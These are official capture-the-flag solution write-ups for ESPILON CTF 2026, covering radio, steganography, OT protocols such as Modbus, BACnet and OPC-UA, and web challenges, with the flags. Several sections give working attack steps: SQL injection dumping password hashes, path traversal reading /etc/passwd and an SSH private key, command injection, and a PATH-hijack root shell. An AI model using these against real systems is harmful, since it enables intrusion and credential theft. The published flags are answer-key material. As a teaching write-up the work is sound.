- Since N = 2^SF → **SF = 7** (spreading factor)
- Bandwidth = sample rate = 8000 Hz (baseband at Nyquist)
- 7 bits per symbol
### 4. Implement Dechirping
The key to CSS demodulation is **dechirping**:
1. Generate the base upchirp (symbol 0):
```
x0[n] = exp(j * π * n²/N) for n = 0..127
```
2. To decode a received chirp, multiply by the **conjugate** of the base chirp:
```
dechirped[n] = received[n] * conj(x0[n])
```
3. Take the **DFT/FFT** of the dechirped signal. The peak bin = symbol value.
### 5. Detect Frames
Frame structure:
```
[Preamble: 8× symbol 0] [Sync: 2× downchirp] [Header: 1 symbol] [Payload: L symbols]
```
- **Preamble**: 8 consecutive chirps all decoding to symbol 0
- **Sync**: 2 downchirps (conjugate of upchirps)
- **Header**: 1 symbol = payload length in bytes (Gray-coded)
- **Payload**: L symbols encoding the data bytes
### 6. Gray Decoding
Symbol values are **Gray-coded** (like real LoRa). After finding the FFT peak
bin, apply inverse Gray code:
```python
def gray_decode(val):
mask = val
while mask:
mask >>= 1
val ^= mask
return val
```
### 7. Symbol-to-Byte Unpacking
Each symbol carries 7 bits (SF=7). Concatenate all bits from decoded symbols,
then group into 8-bit bytes.
### 8. Parse Frame Payload
Payload format: `[type:1] [data:L] [crc16:2]`
- Type 0x01 = beacon (ASCII text, for verification)
- Type 0x02 = data (XOR-encrypted flag)
- CRC-16 CCITT validates the payload
### 9. Decrypt Flag
The data frame's content is XOR'd with the repeating key `"L41N"` (4 bytes).
```python
xor_key = b"L41N"
flag = bytes(b ^ xor_key[i % 4] for i, b in enumerate(encrypted_data))
```
## Key Insights
- CSS/LoRa modulation encodes data as cyclic frequency shifts of a chirp signal
- The dechirp + FFT technique converts the frequency-domain problem into a simple peak detection
- Gray coding ensures that adjacent symbols (close FFT bins) differ by only 1 bit, reducing errors
- The 7-bit symbol → 8-bit byte packing is standard for non-byte-aligned symbol sizes
- The banner hints at CSS ("Chirp Spread Spectrum detected") to point players in the right direction
## Flag
`ESPILON{4cc3l4_ch1rp_spr34d_w1r3d}`
## Author
Eun0us

156
Misc/LAYER_ZERO/README.md Normal file
View File

@ -0,0 +1,156 @@
# LAYER_ZERO — Solution
**Difficulty:** Hard | **Category:** Misc | **Flag:** `ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}`
## Overview
Multi-stage challenge. Four sealed channels must be unlocked in sequence.
Each channel produces a token; submit all four to `LAYER_GOD` to unlock a
SUID binary that reveals the flag.
| Layer | Channel | Port | Technique |
|-------|---------------|---------|-----------------------------|
| L01 | CHANNEL_STATIC | 4141/tcp | PNG filter-type steganography |
| L03 | CHANNEL_KNIGHTS | 8080/tcp | SQL injection + Vigenère cipher |
| L07 | CHANNEL_WIRED | 4242/tcp | State machine sequence brute-force |
| L13 | CHANNEL_EIRI | 9001/tcp | Echo hiding audio steganography |
| GOD | LAYER_GOD | 6660/tcp | Ritual submission + SUID exploit |
## Layer 01 — CHANNEL_STATIC (PNG stego)
The PNG at `/home/lain/CHANNEL_STATIC/lain_signal.png` hides data in the
**filter type bytes** — the first byte of each scanline in the raw IDAT stream.
```python
import struct, zlib
with open("lain_signal.png", "rb") as f:
data = f.read()
pos, idat = 8, b""
while pos < len(data):
length = struct.unpack(">I", data[pos:pos+4])[0]
ctype = data[pos+4:pos+8]
if ctype == b"IDAT":
idat += data[pos+8:pos+8+length]
pos += 12 + length
raw = zlib.decompress(idat)
row_size = 1 + 64 * 3 # 1 filter byte + 64×RGB pixels
# First 24 filter bytes encode 3 ASCII chars (8 bits each)
bits = [raw[i * row_size] for i in range(24)]
decoded = "".join(chr(int("".join(map(str, bits[i*8:(i+1)*8])), 2)) for i in range(3))
```
Submit the decoded string:
```text
SUBMIT <decoded>
```
Server responds with token `L01:xxxxxxxxxx`.
## Layer 03 — CHANNEL_KNIGHTS (SQLi + Vigenère)
The web service at port 8080 has a `/search?q=` endpoint vulnerable to UNION-based SQLi.
```text
/search?q=' UNION SELECT id,alias,rank,access_code,status FROM members--
```
One row contains a Vigenère-encrypted access code. Decrypt it with key `KUDARANAI`:
```python
def vigenere_decrypt(text, key):
result, ki = [], 0
for c in text.upper():
if c.isalpha():
shift = ord(key[ki % len(key)].upper()) - ord("A")
result.append(chr((ord(c) - ord("A") - shift) % 26 + ord("A")))
ki += 1
else:
result.append(c)
return "".join(result)
```
Submit the plaintext to `/submit?code=<plaintext>`.
Server responds with token `L03:xxxxxxxxxx`.
## Layer 07 — CHANNEL_WIRED (state machine)
The service at port 4242 expects a 4-word sequence. The first two are fixed:
`PRESENT_DAY`, `PRESENT_TIME`. Brute-force the last two from known word lists:
```python
WORD3 = ["NAVI_LAYER_07", "PROTOCOL_SEVEN", "WIRED_ACCESS",
"KNIGHTS_CODE", "EIRI_SYSTEM", "DEUS_NODE"]
WORD4 = ["CONNECT", "DESCEND", "MERGE", "ASCEND", "RESONATE", "DISSOLVE"]
for w3, w4 in itertools.product(WORD3, WORD4):
# try sequence: PRESENT_DAY → PRESENT_TIME → w3 → w4
```
Server responds with token `L07:xxxxxxxxxx` on success.
## Layer 13 — CHANNEL_EIRI (echo hiding)
The service at port 9001 streams 30 seconds of 16-bit mono PCM at 44100 Hz.
Data is hidden via **echo hiding**: a 1-bit echo at delay `D1=200` (bit 1) or
`D0=100` (bit 0) is embedded in 1024-sample segments.
```python
import numpy as np
# After streaming and collecting pcm_data:
samples = np.frombuffer(pcm_data, dtype="<i2").astype(float) / 32767.0
SEG_SIZE, D0, D1 = 1024, 100, 200
N_CHARS = 5
bits = []
for i in range(N_CHARS * 8):
seg = samples[i * SEG_SIZE: (i + 1) * SEG_SIZE]
ac = np.correlate(seg, seg, "full")
mid = len(ac) // 2
bits.append("1" if ac[mid + D1] > ac[mid + D0] else "0")
code = "".join(chr(int("".join(bits[i*8:(i+1)*8]), 2)) for i in range(N_CHARS))
```
Submit the decoded code:
```text
SUBMIT <code>
```
Server responds with token `L13:xxxxxxxxxx`.
## LAYER_GOD — Ritual + SUID exploit
Submit all four tokens to port 6660:
```text
RITUAL L01:xxxxxxxxxx L03:xxxxxxxxxx L07:xxxxxxxxxx L13:xxxxxxxxxx
```
On success, the SUID binary `/opt/protocol7/eiri_validator` is unlocked.
Exploit it via command injection — the binary calls `system()` with unsanitised input:
```bash
/opt/protocol7/eiri_validator
# When prompted, enter:
$(cat /root/flag.txt)
```
## Automated Solver
```bash
python3 solve.py [host] [port]
```
## Flag
`ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}`
## Author
Eun0us

View File

@ -0,0 +1,137 @@
# Patient Portal — Solution
## Overview
Multi-stage challenge: SQLi → Admin Panel → Path Traversal → SSH Access → SUID Privesc → Root
**Flag:** `ESPILON{r00t_0f_s41nt3_m1k4}`
---
## Stage 1: SQL Injection
The `/search` endpoint is vulnerable to UNION-based SQL injection.
### Enumerate columns (6 columns)
```
/search?q=' UNION SELECT 1,2,3,4,5,6--
```
### Dump table names
```
/search?q=' UNION SELECT 1,name,3,4,5,6 FROM sqlite_master WHERE type='table'--
```
Tables found: `patients`, `users`, `system_config`
### Dump users table
```
/search?q=' UNION SELECT 1,username,password_hash,role,5,6 FROM users--
```
Results:
- `admin` : `e0b7e413c064de43c6c1ca40a8c175a1` (MD5 of `SainteMika2026`)
- `nurse01` : (irrelevant hash)
### Dump system_config table
```
/search?q=' UNION SELECT 1,key,value,3,4,5 FROM system_config--
```
Key finding: `ssh_passphrase = wired-med-013`
### Crack the admin password
```bash
echo -n "SainteMika2026" | md5sum
# e0b7e413c064de43c6c1ca40a8c175a1
```
Or use CrackStation / hashcat / john.
---
## Stage 2: Admin Access
Login at `/login` with:
- Username: `admin`
- Password: `SainteMika2026`
The admin panel shows:
- Report download links
- System info: SSH on port 2222, user `webadmin`
---
## Stage 3: Path Traversal
The report download endpoint `/admin/reports?file=` is vulnerable to path traversal.
### Read /etc/passwd
```
/admin/reports?file=../../../etc/passwd
```
Confirms user `webadmin` exists.
### Extract SSH private key
```
/admin/reports?file=../../../home/webadmin/.ssh/id_rsa
```
Save the key to a file locally.
---
## Stage 4: SSH Access
```bash
chmod 600 id_rsa
ssh -i id_rsa -p 2222 webadmin@<HOST>
# Passphrase: wired-med-013 (from Stage 1 system_config table)
```
---
## Stage 5: Privilege Escalation
### Find SUID binaries
```bash
find / -perm -4000 -type f 2>/dev/null
```
Found: `/opt/navi-monitor/vital-check` (SUID root)
### Analyze the binary
```bash
strings /opt/navi-monitor/vital-check
```
The binary calls `system("logger -t vital-check 'check complete'")` using a **relative path** for `logger`.
### PATH injection
```bash
echo '#!/bin/bash' > /tmp/logger
echo '/bin/bash -p' >> /tmp/logger
chmod +x /tmp/logger
export PATH=/tmp:$PATH
/opt/navi-monitor/vital-check
```
This spawns a root shell (`bash -p` preserves the SUID euid).
### Get the flag
```bash
cat /root/root.txt
# ESPILON{r00t_0f_s41nt3_m1k4}
```

75
OT/Cyberia_Grid/README.md Normal file
View File

@ -0,0 +1,75 @@
# Cyberia Grid -- Solution
## Overview
EtherNet/IP server simulating a PLC at Cyberia nightclub. The controller
manages power infrastructure and contains hidden tags with encoded KIDS
experiment data. A write-triggered "Psyche Processor" reveals the flag.
## Steps
### 1. Connect and Enumerate Tags
Connect to the EtherNet/IP server on port 44818. List all available tags.
```bash
# Using cpppo client
python -m cpppo.server.enip.client --address HOST:44818 \
'Zone_Main_Power' 'Zone_VIP_Power' 'Zone_Basement_Power' \
'Sound_System_dB' 'BPM' 'Lighting_Main[0-7]' \
'KIDS_Subject[0-15]' 'Knights_Cipher[0-3]' \
'Psyche_Processor[0-3]' 'Psyche_Status' 'Decoded_Output'
```
### 2. Analyze Infrastructure Tags
- `Zone_Main_Power = 1`, `Zone_VIP_Power = 1` -- normal
- `Zone_Basement_Power = 0` -- basement is OFF (suspicious)
- `Sound_System_dB = 95`, `BPM = 140`
- `Lighting_Main = [255, 200, 180, 150, 100, 80, 60, 40]`
### 3. Analyze Hidden Tags
- `KIDS_Subject[0-15]`: 16 DINTs containing XOR-encoded flag data
- `Knights_Cipher[0-3]`: partial XOR key `[0x4B, 0x6E, 0x69, 0]` -- 4th byte is missing!
- `Psyche_Processor[0-3]`: all zeros -- awaiting activation
- `Psyche_Status = "DORMANT"`
### 4. Derive Activation Sequence
The 4 Psyche_Processor values are derived from infrastructure tag values:
| Index | Formula | Value |
|-------|---------|-------|
| 0 | `Zone_Basement_Power XOR BPM` | `0 ^ 140 = 140` |
| 1 | `Sound_System_dB` | `95` |
| 2 | `sum(Lighting_Main) % 256` | `1065 % 256 = 17` |
| 3 | `0x1337` (hacker constant) | `4919` |
### 5. Activate Psyche Processor
Write `[140, 95, 17, 4919]` to `Psyche_Processor[0-3]`.
```python
from cpppo.server.enip.get_attribute import proxy_simple as device
with device(host="HOST", port=44818) as via:
for i, val in enumerate([140, 95, 17, 4919]):
via.write(via.parameter_substitution(f"Psyche_Processor[{i}]"), val)
```
### 6. Read Flag
After the PLC scan cycle (~500ms), read `Decoded_Output`:
```python
flag = via.read(via.parameter_substitution("Decoded_Output"))
print(flag)
```
Also: `Knights_Cipher[3]` is now populated (0x67 = 'g'), completing the
key `"Knig"` which can also be used to manually XOR-decode `KIDS_Subject`.
## Key Insights
- `Zone_Basement_Power = 0` is the first hint that something is hidden underground
- The 0x1337 constant echoes the Operating Room challenge pattern
- The PLC scan cycle polling pattern mimics real industrial controller behavior
- Without authentication, anyone can read/write tags -- a common EtherNet/IP vulnerability
## Flag
`ESPILON{cyb3r14_ps7ch3_pr0c3ss0r}`
## Author
Eun0us

View File

@ -0,0 +1,84 @@
# Operating Room -- Solution
## Overview
Modbus TCP server simulating a hospital operating room control system.
The player must discover the correct unit ID, map the registers, reverse
the XOR-encoded state machine, and execute 6 timed transitions.
## Steps
### 1. Discover Unit ID
Scan Modbus unit IDs (slave addresses). The server only responds to **unit ID 13**.
Default unit ID 1 returns Modbus exceptions.
```python
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient("HOST")
client.connect()
for uid in range(1, 20):
r = client.read_holding_registers(0, 1, slave=uid)
if not r.isError():
print(f"Unit ID {uid} responds!")
```
### 2. Map Registers
Read holding registers 0-255 on unit 13:
- **Registers 0-19**: Operating room telemetry (temperature, humidity, pressure, O2, etc.)
- **Register 13**: `0x4C4E` ("LN" -- Lain easter egg)
- **Register 19**: `0x0D13` -- this is the XOR key
- **Registers 100-105**: State machine (state, encoded hint, timer, transitions, error, key)
- **Register 105**: `0x0D13` -- XOR key copy (confirms reg 19)
- **Register 110**: Write target (trigger register)
- **Registers 200-215**: All zeros (flag area, populated after completion)
### 3. Understand the State Machine
- Register 100 = current state (starts at 0)
- Register 101 = encoded hint
- Register 105 = XOR key (0x0D13)
- Decode: `expected_value = reg_101 XOR 0x0D13`
- Write `expected_value` to register 110 to advance the state
- Each transition must happen before register 102 (timer) reaches 0
### 4. Execute Transitions
| State | Subsystem | Decoded Value | Source |
|-------|-----------|--------------|--------|
| 0 | HVAC | 220 | reg 0 (temperature) |
| 1 | Pressure | 15 | reg 2 (pressure) |
| 2 | O2 | 50 | reg 3 (O2 flow) |
| 3 | Ventilation | 1200 | reg 4 (fan RPM) |
| 4 | Lighting | 800 | reg 5 (lux) |
| 5 | Safety | 4919 (0x1337) | special |
### 5. Read Flag
After all 6 transitions, register 100 = 7 (complete).
Read registers 200-215 and decode uint16 pairs to ASCII.
```python
regs = client.read_holding_registers(200, 16, slave=13).registers
flag = ""
for val in regs:
if val == 0:
break
flag += chr((val >> 8) & 0xFF) + chr(val & 0xFF)
print(flag)
```
## Key Insights
- XOR key `0x0D13` is stored in two places (reg 19 and reg 105) as a breadcrumb
- The decoded values for states 0-4 match the current telemetry readings
- State 5 uses the special value `0x1337` (hacker reference)
- Wrong writes or timeouts reset the state machine to 0
## Flag
`ESPILON{m0dbu5_0p3r4t1ng_r00m}`
## Author
Eun0us

View File

@ -0,0 +1,78 @@
# Protocol Seven -- Solution
## Overview
Multi-protocol challenge requiring cross-referencing three OT protocols.
Eiri Masami distributed Protocol Seven's components across BACnet, OPC-UA,
and EtherNet/IP. Players must extract data from all three and combine
them to decrypt the flag.
## Architecture
| Layer | Protocol | Port | Provides |
|-------|----------|------|----------|
| 1 | BACnet/IP | 47809/udp | XOR encryption key (8 bytes) |
| 2 | OPC-UA | 4841/tcp | Encrypted payload (32 bytes) |
| 3 | EtherNet/IP | 44819/tcp | Rotation nonce (integer) |
## Steps
### 1. Port Discovery
Scan the target -- three open ports: 47809/udp, 4841/tcp, 44819/tcp.
### 2. Layer 1 -- BACnet Key Extraction
Send WhoIs to port 47809 → IAm from device 7777.
Read object-list: 8 AnalogValue objects named `Harmonic_0` through `Harmonic_7`.
Read the device description: **"Key Harmonic Array -- integer components matter"**
Read presentValue of each harmonic:
```
Harmonic_0 = 69.14 -> int(69) = 'E'
Harmonic_1 = 105.92 -> int(105) = 'i'
Harmonic_2 = 114.37 -> int(114) = 'r'
Harmonic_3 = 105.68 -> int(105) = 'i'
Harmonic_4 = 95.44 -> int(95) = '_'
Harmonic_5 = 75.81 -> int(75) = 'K'
Harmonic_6 = 101.22 -> int(101) = 'e'
Harmonic_7 = 121.55 -> int(121) = 'y'
```
**XOR key = `Eiri_Key` (8 bytes)**
### 3. Layer 2 -- OPC-UA Payload Extraction
Connect anonymously to `opc.tcp://HOST:4841/protocol7/`.
Read `Server.NamespaceArray` → find `urn:protocol-seven:payload`.
Browse `Protocol7_Vault`:
- `Payload_Encrypted`: 32-byte ByteString (the ciphertext)
- `Layer_Info`: "Payload encrypted with 8-byte repeating XOR key -- see BACnet harmonics"
- `IV_Hint`: "Rotation offset from CIP controller -- read NONCE tag"
### 4. Layer 3 -- EtherNet/IP Nonce Extraction
Connect to EtherNet/IP on port 44819. Read tags:
- `NONCE = 3` (the rotation offset)
- `Layer_Hint`: "Rotate payload by NONCE bytes before XOR decryption"
- `Assembly_Check = [47809, 4841, 44819]` (confirms all three ports)
### 5. Decryption
```python
# XOR payload with repeating key
xored = bytes(payload[i] ^ key[i % 8] for i in range(32))
# Rotate right by NONCE (undo the left rotation used during encryption)
flag = xored[-nonce:] + xored[:-nonce]
# Strip null padding
print(flag.rstrip(b'\x00').decode())
```
## Key Insights
- The BACnet device description explicitly says "integer components matter"
- The OPC-UA hints point directly to BACnet and EtherNet/IP
- The EtherNet/IP `Assembly_Check` tag confirms the three-port architecture
- `Eiri_Key` as the XOR key is a mnemonic hint (Eiri Masami is the creator)
- The challenge teaches multi-protocol OT environments and data cross-referencing
## Flag
`ESPILON{pr0t0c0l_7_m3rg3_c0mpl3t3}`
## Author
Eun0us

View File

@ -0,0 +1,74 @@
# Schumann Resonance -- Solution
## Overview
Raw BACnet/IP server simulating an environmental monitoring station at
Tachibana General Laboratories, Sub-basement 7. The device contains hidden
flag fragments XOR-encoded in object descriptions. Writing the Schumann
resonance frequency (7.83 Hz) to the tuning register reveals the flag.
## Steps
### 1. Device Discovery
Send a BACnet WhoIs broadcast to UDP port 47808. The device responds
with IAm: device instance **783** (reference to 7.83 Hz).
```python
# Using BAC0:
import BAC0
bacnet = BAC0.lite(ip="YOUR_IP/24")
bacnet.whois()
# -> Device:783 "Tachibana-ENV-SB7"
```
### 2. Enumerate Objects
Read the object-list property from Device:783:
- AnalogInput:0-3 -- normal environmental sensors (temp, humidity, pressure, CO2)
- **AnalogInput:4** -- EMF_Resonance = 7.83, description = **"PROTOCOL_SEVEN_CARRIER"**
- AnalogValue:10 -- Freq_Multiplier = 0.0 (writable!)
- AnalogValue:11-17 -- Fragment_0 through Fragment_6 (descriptions are hex strings)
- BinaryValue:100 -- Resonance_Lock = inactive
- CharStringValue:200 -- Research_Log = "Access Denied"
### 3. Identify Key
Device instance 783 → 7.83 Hz → Schumann Resonance.
XOR key = `0x0783` (2-byte big-endian from device instance).
### 4. Decode Fragments
Each Fragment_N has a description containing a hex-encoded XOR'd string.
XOR each byte with the alternating key bytes (0x07, 0x83):
```python
key = (0x07, 0x83)
for frag in fragments:
enc = bytes.fromhex(frag)
dec = bytes(b ^ key[i % 2] for i, b in enumerate(enc))
print(dec.decode())
```
Concatenate all decoded fragments → the flag.
### 5. Activate (Alternative Path)
Write `7.83` to AnalogValue:10 (Freq_Multiplier):
```python
# WriteProperty: object=AnalogValue:10, property=presentValue, value=7.83
```
This sets BinaryValue:100 (Resonance_Lock) to active and writes the
flag to CharStringValue:200 (Research_Log).
### 6. Read Flag
Read the presentValue of CharStringValue:200 (Research_Log).
## Key Insights
- Device instance 783 is the key derivation hint (7.83 Hz)
- AnalogInput:4 description "PROTOCOL_SEVEN_CARRIER" confirms the Schumann connection
- Freq_Multiplier description says "set to Schumann harmonic to activate"
- Two solve paths: decode fragments manually OR activate and read Research_Log
- No authentication on BACnet -- a real-world building automation vulnerability
## Flag
`ESPILON{sch0m4nn_r3s0n4nc3_783}`
## Author
Eun0us

View File

@ -0,0 +1,76 @@
# Tachibana SCADA -- Solution
## Overview
OPC-UA server simulating Tachibana General Laboratories' SCADA system.
The server allows anonymous connections (SecurityPolicy None) and contains
a hidden namespace with Eiri Masami's backdoor methods.
## Steps
### 1. Connect Anonymously
Connect to `opc.tcp://HOST:4840/tachibana/` without credentials.
The server accepts anonymous connections -- a common OT misconfiguration.
```python
from asyncua import Client
client = Client("opc.tcp://HOST:4840/tachibana/")
await client.connect()
```
### 2. Discover Namespaces
Read the `Server.NamespaceArray` to discover all registered namespaces:
- `ns=0`: OPC-UA standard
- `ns=1`: Server internal
- `ns=2`: `urn:tachibana:scada` (public SCADA data)
- `ns=3`: `urn:tachibana:eiri:kids` (hidden!)
```python
ns_array = await client.get_namespace_array()
```
### 3. Browse Public Namespace (ns=2)
Standard SCADA data: power distribution, cooling systems, Wired Interface Array.
Note `Resonance_Hz = 7.83` (Schumann resonance breadcrumb).
### 4. Browse Hidden Namespace (ns=3)
Navigate to `EiriMasami` folder:
- `KIDS_Project/` contains variables: `SubjectCount=0`, `Protocol7_Version="7.0.0-alpha"`, `Activation_Key="????????"`
- `Backdoor/` contains two methods: `Authenticate` and `ExtractResearchData`
### 5. Analyze Method Signatures
Read the `InputArguments` property of each method:
- `Authenticate(username: String, key_hash: ByteString) -> session_token: String`
- `ExtractResearchData(session_token: String, project_id: UInt32) -> data: String`
The `key_hash` description says: "16-byte truncated SHA-256 of the project name"
### 6. Derive Credentials
- **username**: `eiri` (from namespace URI `urn:tachibana:eiri:kids`)
- **key_hash**: `SHA256("KIDS")[:16]` (KIDS = project name from the namespace)
```python
import hashlib
key_hash = hashlib.sha256(b"KIDS").digest()[:16]
```
### 7. Authenticate
Call the `Authenticate` method with the derived credentials.
Returns a hex session token valid for 5 minutes.
### 8. Extract Protocol Seven
Call `ExtractResearchData` with the session token and `project_id=7`
(from `Protocol7_Version = "7.0.0-alpha"` -- project number 7).
Returns the flag.
## Key Insights
- The namespace URI `urn:tachibana:eiri:kids` directly contains the username ("eiri") and hash source ("kids")
- `Protocol7_Version = "7.0.0-alpha"` hints that `project_id = 7`
- Anonymous OPC-UA access is a real-world ICS misconfiguration
- Method argument descriptions provide hints about the expected input format
## Flag
`ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}`
## Author
Eun0us

110
README.md Normal file
View File

@ -0,0 +1,110 @@
# ESPILON CTF 2026 — Write-ups officiels
> **Édition 1** · Thème : *Serial Experiments Lain × Sécurité industrielle & embarquée*
Write-ups de l'ensemble des challenges de la première édition ESPILON CTF.
Les catégories couvrent le matériel bas niveau, l'IoT, les systèmes OT/SCADA, l'ESP32 et les smart contracts EVM.
---
## Challenges
### 🟢 Intro
| Challenge | Difficulté | Flag |
|-----------|-----------|------|
| [The Wired](Intro/The_Wired/) | Easy | `ESPILON{th3_w1r3d_kn0ws_wh0_y0u_4r3}` |
---
### 📡 ESP
| Challenge | Difficulté | Flag |
|-----------|-----------|------|
| [ESP Start](ESP/ESP_Start/) | Easy | `ESPILON{st4rt_th3_w1r3}` |
| [Phantom Byte](ESP/Phantom_Byte/) | Medium | `ESPILON{bl1nd_str4ddl3}` |
| [Jnouner Router](ESP/Jnouner_Router/) | Hard | 4 flags *(voir WU)* |
---
### 🔌 Hardware
| Challenge | Difficulté | Flag |
|-----------|-----------|------|
| [Serial Experimental 00](Hardware/Serial_Experimental_00/) | Easy | dynamique |
| [Signal Tap Lain](Hardware/Signal_Tap_Lain/) | Medium-Hard | `ESPILON{s1gn4l_t4p_l41n}` |
| [NAVI I2C Sniff](Hardware/NAVI_I2C_Sniff/) | Medium-Hard | dynamique |
| [Phantom JTAG](Hardware/Phantom_JTAG/) | Medium-Hard | dynamique |
| [Wired SPI Exfil](Hardware/Wired_SPI_Exfil/) | Medium-Hard | dynamique |
| [CAN Bus Implant](Hardware/CAN_Bus_Implant/) | Medium-Hard | dynamique |
| [Glitch The Wired](Hardware/Glitch_The_Wired/) | Medium-Hard | dynamique |
> Les challenges Hardware sont des containers Docker avec des flags dynamiques générés par instance.
---
### 📶 IoT
| Challenge | Difficulté | Flag |
|-----------|-----------|------|
| [Nurse Call](IoT/Nurse_Call/) | Easy | `ESPILON{r3v31ll3_m01_d4ns_l3_w1r3d}` |
| [Lets All Love UART](IoT/Lets_All_Love_UART/) | Easy | `ESPILON{LAIN_TrUsT_U4RT}` |
| [Wired Airwave 013](IoT/Wired_Airwave_013/) | Medium | `ESPILON{sdr_fsk_w1r3d_m3d_013}` |
| [LAIN Breakcore](IoT/Lain_Br34kC0r3/) | Medium | `ECW{LAIN_Br34k_CryPT0}` |
| [Anesthesia Gateway](IoT/Anesthesia_Gateway/) | Medium-Hard | `ESPILON{mQtt_g4tw4y_4n3sth3s14}` |
| [Observe The Wired](IoT/Observe_The_Wired/) | Medium-Hard | `ESPILON{c0ap_0bs3rv3_th3_w1r3d}` |
| [Lets All Hate UART](IoT/Lets_All_Hate_UART/) | Medium-Hard | `ESPILON{u4rt_nvs_fl4sh_d1sc0v3ry}` |
| [LAIN_Br34kC0r3 V2](IoT/Lain_Br34kC0r3_V2/) | Hard | `ESPILON{3sp32_fl4sh_dump_r3v3rs3d}` |
| [LAIN vs Knights](IoT/Lain_VS_Knights/) | Hard | `ESPILON{0nlY_L41N_C4N_S0lv3}` |
| [Cr4cK_w1f1](IoT/Cr4cK_w1f1/) | Medium | *(challenge en cours)* |
---
### 🏭 OT / SCADA
| Challenge | Difficulté | Flag |
|-----------|-----------|------|
| [Schumann Resonance](OT/Schumann_Resonance/) | Medium | `ESPILON{sch0m4nn_r3s0n4nc3_783}` |
| [Operating Room](OT/Operating_Room/) | Medium-Hard | `ESPILON{m0dbu5_0p3r4t1ng_r00m}` |
| [Cyberia Grid](OT/Cyberia_Grid/) | Medium-Hard | `ESPILON{cyb3r14_ps7ch3_pr0c3ss0r}` |
| [Tachibana SCADA](OT/Tachibana_SCADA/) | Medium-Hard | `ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}` |
| [Protocol Seven](OT/Protocol_Seven/) | Hard | `ESPILON{pr0t0c0l_7_m3rg3_c0mpl3t3}` |
---
### 🔮 Misc
| Challenge | Difficulté | Flag |
|-----------|-----------|------|
| [Patient Portal](Misc/Patient_Portal/) | Medium-Hard | `ESPILON{r00t_0f_s41nt3_m1k4}` |
| [Accela Signal](Misc/Accela_Signal/) | Hard | `ESPILON{4cc3l4_ch1rp_spr34d_w1r3d}` |
| [LAYER_ZERO](Misc/LAYER_ZERO/) | Hard | `ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}` |
| [AETHER_NET](Misc/AETHER_NET/) | Insane | `ESPILON{4eth3r_n3t_d3us_4dm1n}` |
| [Last Train 451](Misc/Last_Train_451/) | TBD | *(challenge en cours)* |
---
### ⛓️ Web3 / EVM
| Challenge | Difficulté | Flag |
|-----------|-----------|------|
| [GANTZ BALL CONTRACT](Web3/GANTZ_BALL_CONTRACT/) | Insane | `ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}` |
| [TACHIBANA FIRMWARE REGISTRY](Web3/TACHIBANA_FIRMWARE_REGISTRY/) | Insane | `ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}` |
---
## Système de scoring
| Difficulté | Initial | Minimum | Decay (solves) |
|------------|---------|---------|----------------|
| Easy | 250 | 50 | 100 |
| Medium | 400 | 80 | 80 |
| Medium-Hard | 500 | 100 | 60 |
| Hard | 600 | 150 | 50 |
| Insane | 600+ | 150 | 50 |
---
## Auteur
**Eun0us** — ESPILON CTF 2026